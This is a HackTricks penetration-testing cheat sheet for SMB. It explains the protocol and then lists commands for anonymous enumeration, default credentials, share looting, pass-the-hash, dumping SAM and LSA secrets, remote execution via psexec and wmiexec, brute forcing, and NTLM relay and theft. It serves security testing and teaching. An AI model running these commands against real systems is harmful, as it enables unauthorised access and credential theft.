# 139,445 - Pentesting SMB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
## **Port 139** **NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over **TCP Port 139**. (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP\*\*.\*\* (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB Server Message Block (`SMB`) is a **client-server** protocol that regulates **access to files** and entire directories and other network resources such as printers, routers, or interfaces released for the network. The main application area of the protocol has been the **Windows** operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed.\ With the free software project **Samba**, there is also a solution that enables the use of **SMB in Linux** and Unix distributions and thus cross-platform communication via SMB. An SMB server can provide **arbitrary parts of its local file system as shares**. Therefore the **hierarchy visible** to a client is partially **independent** of the **structure** on the **server**. **Access rights** are defined by `Access Control Lists` (`ACL`). They can be controlled in a **fine-grained manner** based on attributes such as **`execute`**, **`read`**, and **`full access`** for individual users or user groups. The **ACLs** are defined **based on the shares** and therefore do not correspond to the rights assigned locally on the server. ### IPC$ share From book _**Network Security Assessment 3rd edition**_ With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following: * Operating system information * Details of the parent domain * A list of local users and groups * Details of available SMB shares * The effective system security policy ## What is NTLM If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about **NTLM** where is explained **how this protocol works and how you can take advantage of it:** {% content-ref url="../windows-hardening/ntlm/" %} [ntlm](../windows-hardening/ntlm/) {% endcontent-ref %} ## **Server Enumeration** ### **Scan** a network searching for hosts: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB server version To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can: * Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version** * Or this script: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **Search exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **Possible** Credentials | **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | | _(blank)_ | _(blank)_ | | guest | _(blank)_ | | Administrator, admin | _(blank)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | ### SMB Environment Information ### Obtain Information ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### Enumerate Users, Groups & Logged On Users ```bash # This info should already being gathered from enum4linux and enum4linux-ng crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups # Impacket - Enumerate local users lookupsid.py -no-pass hostname.local # Metasploit - Enumerate local users use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **Enumerating LSARPC and SAMR rpcclient** {% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} [rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md) {% endcontent-ref %} ### GUI connection from linux #### In the terminal: `xdg-open smb://cascade.htb/` #### In file browser window (nautilus, thunar, etc) `smb://friendzone.htb/general/` ## Shared Folders Enumeration ### List shared folders It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` ### **Connect/List a shared folder** ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **Manually enumerate windows shares and connect to them** It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all. Common share names for windows targets are * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (Common share names from _**Network Security Assessment 3rd edition**_) You can try to connect to them by using the following command ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` or this script (using a null session) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` examples ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### Mount a shared folder ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Download files** Read previous sections to learn how to connect with credentials/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` Commands: * mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files) * recurse: toggles recursion on (default: off) * prompt: toggles prompting for filenames off (default: on) * mget: copies all files matching the mask from host to client machine (_Information from the manpage of smbclient_) ### Domain Shared Folders Search * [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. {% hint style="info" %} The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. {% endhint %} ## Read Registry You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## Post Exploitation The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**: | **Setting** | **Description** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | Allow listing available shares in the current share? | | `read only = no` | Forbid the creation and modification of files? | | `writable = yes` | Allow users to create and modify files? | | `guest ok = yes` | Allow connecting to the service without using a password? | | `enable privileges = yes` | Honor privileges assigned to specific SID? | | `create mask = 0777` | What permissions must be assigned to the newly created files? | | `directory mask = 0777` | What permissions must be assigned to the newly created directories? | | `logon script = script.sh` | What script needs to be executed on the user's login? | | `magic script = script.sh` | Which script should be executed when the script gets closed? | | `magic output = script.out` | Where the output of the magic script needs to be stored? | The command `smbstatus` gives information about the **server** and about **who is connected**. ## Authenticate using Kerberos You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **Execute Commands** ### **crackmapexec** crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\ **More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM** ### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Impacket reference [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **Bruteforce users credentials** **This is not recommended, you could block an account if you exceed the maximum allowed tries** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ [**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"` This happens with the functions: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream Which are used by some browsers and tools (like Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### SMBTrap using MitMf ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## NTLM Theft Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack). [See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script smb-vuln* -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.